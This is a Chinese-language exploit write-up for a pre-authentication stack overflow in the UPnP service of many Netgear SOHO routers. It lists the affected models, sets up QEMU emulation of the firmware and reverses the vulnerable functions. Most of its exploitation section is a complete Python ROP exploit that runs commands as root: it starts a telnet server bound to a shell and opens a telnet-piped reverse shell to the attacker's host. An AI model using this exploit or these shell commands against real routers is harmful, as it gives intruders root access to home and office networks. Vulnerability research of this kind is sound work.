[TOC]
实在对不住已经看了的大佬,第一次发文章,图片管理混乱,没想到发布后部分图片无法查看,现已将图床移动到github上,可以正常查看。
Netgear SOHO Devices contain a vulnerability that allows an attacker within the device’s Local Area Network (LAN) to obtain Remote Code Execution (RCE) as root on the device. GRIMM researchers were able to use the vulnerability to create an exploit that can compromise fully patched Netgear devices in the default configuration.
Netgear SOHO 部分设备的upnp服务包含一个漏洞,通过构建精心设计的攻击脚本访问Public_UPNP_C5
与Public_UPNP_Event_1
通过栈溢出达到攻击目的,该漏洞允许设备局域网内的攻击者在设备上以 root 身份获取远程代码执行。易受攻击设备的完整列表如下。
易受攻击的设备 | ||
AC1450-1.0.0.36 | D6220-1.0.0.72 | D6300-1.0.0.102 |
D6400-1.0.0.104 | D7000v2 - 1.0.0.66 | D8500 - 1.0.3.60 |
DC112A-1.0.0.56 | DGN2200v4 - 1.0.0.116 | DGN2200M - 1.0.0.35 |
DGND3700v1 - 1.0.0.17 | EX3700 - 1.0.0.88 | EX3800 - 1.0.0.88 |
EX3920-1.0.0.88 | EX6000 - 1.0.0.44 | EX6100 - 1.0.2.28 |
EX6120 - 1.0.0.54 | EX6130 - 1.0.0.40 | EX6150 - 1.0.0.46 |
EX6920 - 1.0.0.54 | EX7000 - 1.0.1.94 | MVBR1210C - 1.2.0.35BM |
R4500-1.0.0.4 | R6200 - 1.0.1.58 | R6200v2 - 1.0.3.12 |
R6250 - 1.0.4.48 | R6300 - 1.0.2.80 | R6300v2 - 1.0.4.52 |
R6400 - 1.0.1.72 | R6400v2 - 1.0.4.106 | R6700 - 1.0.2.16 |
R6700v3 - 1.0.4.118 | R6900 - 1.0.2.16 | R6900P - 1.3.2.134 |
R7000 - 1.0.11.123 | R7000P - 1.3.2.134 | R7300DST-1.0.0.74 |
R7850 - 1.0.5.68 | R7900 - 1.0.4.38 | R8000 - 1.0.4.68 |
R8300 - 1.0.2.144 | R8500 - 1.0.2.136 | RS400-1.5.0.68 |
WGR614v9 - 1.2.32 | WGT624v4 - 2.0.13 | WNDR3300v1 - 1.0.45 |
WNDR3300v2 - 1.0.0.26 | WNDR3400v1 - 1.0.0.52 | WNDR3400v2 - 1.0.0.54 |
WNDR3400v3 - 1.0.1.38 | WNDR3700v3 - 1.0.0.42 | WNDR4000 - 1.0.2.10 |
WNDR4500 - 1.0.1.46 | WNDR4500v2 - 1.0.0.72 | WNR834Bv2 - 2.1.13 |
WNR1000v3 - 1.0.2.78 | WNR2000v2 - 1.2.0.12 | WNR3500 - 1.0.36NA |
WNR3500v2 - 1.2.2.28NA | WNR3500L - 1.2.2.48NA | WNR3500Lv2 - 1.2.0.66 |
XR300 - 1.0.3.56 |
以下漏洞分析和测试使用XR300 - 10.3.56固件版本进行。
netgear提供历史版本固件下载服务:https://www.netgear.com/support/product/xr300.aspx#download
binwalk解包固件,将文件系统打包一会scp传进qemu里
# ls _XR300-V1.0.3.56_10.3.41.chk.extracted
211F7A.squashfs 56 56.7z _56.extracted squashfs-root squashfs-root.tar.gz
用file命令看下随便一个文件的指令集
# file ./_XR300-V1.0.3.56_10.3.41.chk.extracted/squashfs-root/bin/busybox
./_XR300-V1.0.3.56_10.3.41.chk.extracted/squashfs-root/bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
使用qemu-system虚拟个arm系统
#cat init.sh
tunctl -t tap0 -u `whoami`
ifconfig tap0 192.168.174.10
qemu-system-arm -M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
进入虚拟机把解包出的文件系统传进来,补一下需要用到的配置文件和路径
[email protected]:~# cat init.sh
cp nvram.so squashfs-root
cp nvram.ini ./squashfs-root/tmp/
mkdir -p ./squashfs-root/tmp/var/run
挂载proc、dev后chroot进入模拟固件阶段
[email protected]:~# cat start.sh
ifconfig eth0 192.168.174.6
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root sh
进到busybox后还需要设置LD_PRELOAD
以劫持upnpd
程序对nvram
的外部导出函数,然后程序还需要libc.so.6
库,直接把/lib/libc.so.0
复制一份即可。
BusyBox v1.7.2 (2020-12-08 16:16:37 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# export LD_PRELOAD=/nvram.so
# cp /lib/libc.so.0 /lib/libc.so.6
# /usr/sbin/upnpd
如此一来就成功启动upnp服务了
根据描述,漏洞点位于gena_response_unsubscribe(sub_1BD5C),从log函数的参数来看应该是用来取消订阅的函数。
先把http报文复制副本,最多512个字节(21行),接下来的操作是在这512字节的副本上进行;
识别uuid字段并取出uuid值(25-29)
遍历比对存储的uuid(34-42)
之后的代码都是异常处理环节
其中关键在于
该函数中只给到uuid_buffer
64个字节的空间
28行的find_token_get_val
函数中未校验接收返回值的变量长度
find_token_get_val
函数的功能是从http报文中查询并取出相应的字段的值,逆向分析出的函数声明如下
bool find_token_get_val(
[in] int input_limited, //http报文副本
[in] char *find_buffer, //要找的字段
[in] const char *endString, //结束标志
[out] char *uuid_buffer //存储结果值的指针
);
合法性检测,检查input_limited
、find_buffer
和endString
是否为空(13-20),为空直接返回
循环定位字段,可以定位多个字段,以1024个字节为界,最多10个字段,字段起始位置存入found_value
(22-42)
定位结束标志(43)
如果起始位置found_value
到结束标志位置found_value_end
的字节不大于1024个字节,则存入uuid_buffer
,否则uuid_buffer
置0 (45-51)
在find_token_get_val
中允许向uuid_buffer
写入最多1024个字节,但gena_response_unsubscribe
中给uuid_buffer
的空间只有64个字节,所以在这里存在栈溢出。
程序只开了NX保护,无法在栈上执行shellcode,所以需要寻找gadgets执行ROP链,程序中存在system
函数,会方便很多。
先动调看下距离pc
多远:
qemu上:
# ps | grep pnp
2382 0 4924 S /usr/sbin/upnpd
2484 0 2292 S grep pnp
# gdbserver-armhf :1234 --attach 2382
主机上:
# gdb-multiarch
pwndbg> set architecture arm
The target architecture is set to "arm".
pwndbg> set endian little
The target is set to little endian.
pwndbg> target remote 192.168.174.6:1234
在返回的位置下个断点 b*0x1BEBC
from pwn import *
import time
ip='192.168.174.6'
port=56688
def send(ip,port,data):
t=remote(ip,port)
t.send(data)
time.sleep(1)
t.close()
def get_payload():
payload = b'UNSUBSCRIBE /Public_UPNP_Event_1 HTTP/1.1\r\n'
payload += 'Host: http://{}:{}\r\n'.format(ip, port)
payload += b'SID: whatever\r\n'
payload += b'UUID: '
return payload
payload = get_payload()
payload += "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab"
payload += "\r\n\r\n"
send(ip, port, payload)
可以得出,溢出点到pc寄存器需要67+4*8个字节,计算出偏移后,因为程序中使用了system
函数,所以不需要想办法泄露库。但有两个因素使漏洞利用难度提升了不少:
在gena_response_unsubscribe
函数中,使用的是http报文的副本,会被\x00
截断,无法使用带有\x00
字节的gadget
得到报文副本后,会将其转化成小写,所以也不能带有大写字符(0x41-0x5A)
问题2可以通过仔细寻找gadget来绕过,但问题1几乎没办法解决:upnpd
程序中的所有地址都包含一个\x00
字符作为最高有效字节。
PoC中绕过的方法是通过#ADD SP, SP, #0x1000; POP {R4-R7,PC}
gadget,抬高sp寄存器去寻找原始的http请求,由于原始http请求不受\x00
和大写字符的限制,且被存储在栈中,所以通过该方法可以不受限制地执行任意gadget。
下面要只剩下怎么传入要执行的命令的问题了,PoC是通过另外一个函数soap_parser
(sub_1C5B8),将命令写入到全局变量中,原理与上面类似,通过find_token_get_val
函数写入到全局变量中。
from pwn import *
import time
ip='192.168.174.6'
port=56688
def send(ip,port,data):
t=remote(ip,port)
t.send(data)
time.sleep(1)
t.close()
def get_payload():
payload = b'UNSUBSCRIBE /Public_UPNP_Event_1 HTTP/1.1\r\n'
payload += 'Host: http://{}:{}\r\n'.format(ip, port)
payload += b'SID: whatever\r\n'
payload += b'UUID: ' + b"A"*67
payload += b'BBBB'
payload += b'CCCC'
payload += b'DDDD'
payload += b'EEEE'
payload += b'FFFF'
payload += b'GGGG'
payload += b'HHHH'
payload += b'IIII'
return payload
def set_command(command):
"""Writes the command to memory in a global variable (meant for holding the Body of the XML request)"""
payload = b'<?xml version="1.0"?> '
payload += b'<SOAP-ENV:Envelope> '
payload += b'Body>:'
payload += command.replace(" ","${IFS}")
payload += b';Body >'
payload += b" </SOAP-ENV:Body> "
payload += b"</SOAP-ENV:Envelope>"
request = b'POST /Public_UPNP_C5 HTTP/1.1\r\n'
request += 'Host: http://{}:{}\r\n'.format(ip, port)
request += b'SOAPAction\r\n'
request += 'Content-Length: {}\r\n'.format(len(payload))
request += b'\r\n'
request += payload
send(ip,port,request)
stack_add_gadget = p32(0x134A8) #ADD SP, SP, #0x1000; POP {R4-R7,PC}
padding1 = 1292
command_address = p32(0x5B748)
padding2 = 12
system_gadget = p32(0x2e7e0) #MOV R0, R4; BL system
payload = get_payload()
payload += stack_add_gadget[:3]
payload += b'\r\n\r\n'
payload += b'J' * (padding1 - len(payload))
payload += command_address
payload += b'K' * padding2
payload += system_gadget
set_command('/bin/utelnetd -p3333 -l/bin/sh -d')
send(ip, port, payload)
exp中执行的命令是/bin/utelnetd -p3333 -l/bin/sh -d
,在3333端口上开telnet服务
从log上看命令执行地没问题,ps查看也确实有telnet进程,但就是连不上
甚至靶机自己也连不上
应该是telnetd的问题,将命令换成telnet 192.168.174.10 666 | /bin/sh | telnet 192.168.174.10 6666
,同时在主机上监听666和6666端口,成功拿到shell:
官方公告 https://kb.netgear.com/000064361/Security-Advisory-for-Pre-Authentication-Buffer-Overflow-on-Multiple-Products-PSV-2021-0168
固件下载 https://www.downloads.netgear.com/files/GDC/XR300/XR300-V1.0.3.56_10.3.41.zip
漏洞详情 https://github.com/grimm-co/NotQuite0DayFriday/tree/trunk/2021.11.16-netgear-upnp
nvram hook库 https://cloud.tencent.com/developer/article/1687473
相关链接:
https://bestwing.me/PSV-2020-0437-Buffer-Overflow-on-Some-Netgear-outers.html
https://cool-y.github.io/2021/01/08/Netgear-psv-2020-0211/
https://xuanxuanblingbling.github.io/ctf/pwn/2020/08/24/gdb